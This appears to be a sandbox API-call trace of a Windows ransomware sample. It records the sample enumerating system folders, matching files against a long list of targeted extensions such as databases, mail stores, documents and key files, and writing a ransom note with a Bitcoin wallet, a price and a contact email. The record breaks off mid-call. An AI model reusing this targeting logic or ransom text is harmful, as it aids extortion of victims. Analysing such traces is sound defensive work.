0 [0103.471] lstrlenA (lpString="*.csv") returned 5 [0103.471] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d360742, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d360742, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d360742, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.472] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.472] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d12529e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d12529e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d12529e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="b5e6aa065d13e30c27219186f8e02689", cAlternateFileName="B5E6AA~1")) returned 1 [0103.472] lstrcmpA (lpString1=".", lpString2="b5e6aa065d13e30c27219186f8e02689") returned -1 [0103.472] lstrcmpA (lpString1="..", lpString2="b5e6aa065d13e30c27219186f8e02689") returned -1 [0103.472] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\*.*") returned="*.*" [0103.472] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\", lpString2="b5e6aa065d13e30c27219186f8e02689" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689" [0103.472] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689") returned 100 [0103.472] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d12529e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d12529e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d12529e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.473] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.473] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d12529e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d12529e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d12529e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.473] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.473] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.473] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d0d8fdd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x6d0d8fdd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x6d0d8fdd, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.473] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.473] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll") returned -1 [0103.473] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll") returned -1 [0103.473] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll") returned -1 [0103.473] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\*.*") returned="*.*" [0103.473] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\" [0103.473] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\") returned="" [0103.473] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\HOW TO DECRYPT FILES.txt" [0103.473] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.windows.d#\\b5e6aa065d13e30c27219186f8e02689\\how to decrypt files.txt")) returned 0xffffffff [0103.473] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.windows.d#\\b5e6aa065d13e30c27219186f8e02689\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.477] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0103.477] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.478] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.478] CloseHandle (hObject=0x90) returned 1 [0103.478] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\", lpString2="Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll" [0103.478] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.ems") returned 0 [0103.479] lstrlenA (lpString="*.ems") returned 5 [0103.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.db") returned 0 [0103.479] lstrlenA (lpString="*.db") returned 4 [0103.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.dbf") returned 0 [0103.479] lstrlenA (lpString="*.dbf") returned 5 [0103.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.myox") returned 0 [0103.479] lstrlenA (lpString="*.myox") returned 6 [0103.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.myo") returned 0 [0103.479] lstrlenA (lpString="*.myo") returned 5 [0103.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qbw") returned 0 [0103.479] lstrlenA (lpString="*.qbw") returned 5 [0103.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qbb") returned 0 [0103.479] lstrlenA (lpString="*.qbb") returned 5 [0103.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qbm") returned 0 [0103.479] lstrlenA (lpString="*.qbm") returned 5 [0103.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qbo") returned 0 [0103.479] lstrlenA (lpString="*.qbo") returned 5 [0103.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qbx") returned 0 [0103.479] lstrlenA (lpString="*.qbx") returned 5 [0103.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qba") returned 0 [0103.479] lstrlenA (lpString="*.qba") returned 5 [0103.479] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qby") returned 0 [0103.479] lstrlenA (lpString="*.qby") returned 5 [0103.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qbj") returned 0 [0103.480] lstrlenA (lpString="*.qbj") returned 5 [0103.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.ofx") returned 0 [0103.480] lstrlenA (lpString="*.ofx") returned 5 [0103.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.qif") returned 0 [0103.480] lstrlenA (lpString="*.qif") returned 5 [0103.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.mye") returned 0 [0103.480] lstrlenA (lpString="*.mye") returned 5 [0103.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.mbox") returned 0 [0103.480] lstrlenA (lpString="*.mbox") returned 6 [0103.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.eml") returned 0 [0103.480] lstrlenA (lpString="*.eml") returned 5 [0103.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.pst") returned 0 [0103.480] lstrlenA (lpString="*.pst") returned 5 [0103.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.ost") returned 0 [0103.480] lstrlenA (lpString="*.ost") returned 5 [0103.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.idx") returned 0 [0103.480] lstrlenA (lpString="*.idx") returned 5 [0103.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.dbx") returned 0 [0103.480] lstrlenA (lpString="*.dbx") returned 5 [0103.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.sql") returned 0 [0103.480] lstrlenA (lpString="*.sql") returned 5 [0103.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.mdb") returned 0 [0103.480] lstrlenA (lpString="*.mdb") returned 5 [0103.480] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.fdb") returned 0 [0103.481] lstrlenA (lpString="*.fdb") returned 5 [0103.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.wab") returned 0 [0103.481] lstrlenA (lpString="*.wab") returned 5 [0103.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.dat") returned 0 [0103.481] lstrlenA (lpString="*.dat") returned 5 [0103.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.txt") returned 0 [0103.481] lstrlenA (lpString="*.txt") returned 5 [0103.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.jpeg") returned 0 [0103.481] lstrlenA (lpString="*.jpeg") returned 6 [0103.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.jpg") returned 0 [0103.481] lstrlenA (lpString="*.jpg") returned 5 [0103.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.png") returned 0 [0103.481] lstrlenA (lpString="*.png") returned 5 [0103.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.php") returned 0 [0103.481] lstrlenA (lpString="*.php") returned 5 [0103.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.cs") returned 0 [0103.481] lstrlenA (lpString="*.cs") returned 4 [0103.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.cpp") returned 0 [0103.481] lstrlenA (lpString="*.cpp") returned 5 [0103.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.rar") returned 0 [0103.481] lstrlenA (lpString="*.rar") returned 5 [0103.481] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.zip") returned 0 [0103.482] lstrlenA (lpString="*.zip") returned 5 [0103.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.html") returned 0 [0103.482] lstrlenA (lpString="*.html") returned 6 [0103.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.htm") returned 0 [0103.482] lstrlenA (lpString="*.htm") returned 5 [0103.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.xlsx") returned 0 [0103.482] lstrlenA (lpString="*.xlsx") returned 6 [0103.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.xls") returned 0 [0103.482] lstrlenA (lpString="*.xls") returned 5 [0103.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.mp4") returned 0 [0103.482] lstrlenA (lpString="*.mp4") returned 5 [0103.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.ppt") returned 0 [0103.482] lstrlenA (lpString="*.ppt") returned 5 [0103.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.pptx") returned 0 [0103.482] lstrlenA (lpString="*.pptx") returned 6 [0103.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.doc") returned 0 [0103.482] lstrlenA (lpString="*.doc") returned 5 [0103.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.dot") returned 0 [0103.482] lstrlenA (lpString="*.dot") returned 5 [0103.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.docx") returned 0 [0103.482] lstrlenA (lpString="*.docx") returned 6 [0103.482] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.7z") returned 0 [0103.482] lstrlenA (lpString="*.7z") returned 4 [0103.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.tar") returned 0 [0103.483] lstrlenA (lpString="*.tar") returned 5 [0103.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.bz2") returned 0 [0103.483] lstrlenA (lpString="*.bz2") returned 5 [0103.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.gz") returned 0 [0103.483] lstrlenA (lpString="*.gz") returned 4 [0103.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.mkv") returned 0 [0103.483] lstrlenA (lpString="*.mkv") returned 5 [0103.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.eml") returned 0 [0103.483] lstrlenA (lpString="*.eml") returned 5 [0103.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.msg") returned 0 [0103.483] lstrlenA (lpString="*.msg") returned 5 [0103.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.edb") returned 0 [0103.483] lstrlenA (lpString="*.edb") returned 5 [0103.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.accdb") returned 0 [0103.483] lstrlenA (lpString="*.accdb") returned 7 [0103.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.odb") returned 0 [0103.483] lstrlenA (lpString="*.odb") returned 5 [0103.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.java") returned 0 [0103.483] lstrlenA (lpString="*.java") returned 6 [0103.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.asm") returned 0 [0103.483] lstrlenA (lpString="*.asm") returned 5 [0103.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.pfx") returned 0 [0103.483] lstrlenA (lpString="*.pfx") returned 5 [0103.483] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.Windows.D#\\b5e6aa065d13e30c27219186f8e02689\\Microsoft.Windows.Diagnosis.Commands.GetDiagInput.ni.dll", pszSpec="*.pem") returned 0 [0103.484] lstrlenA 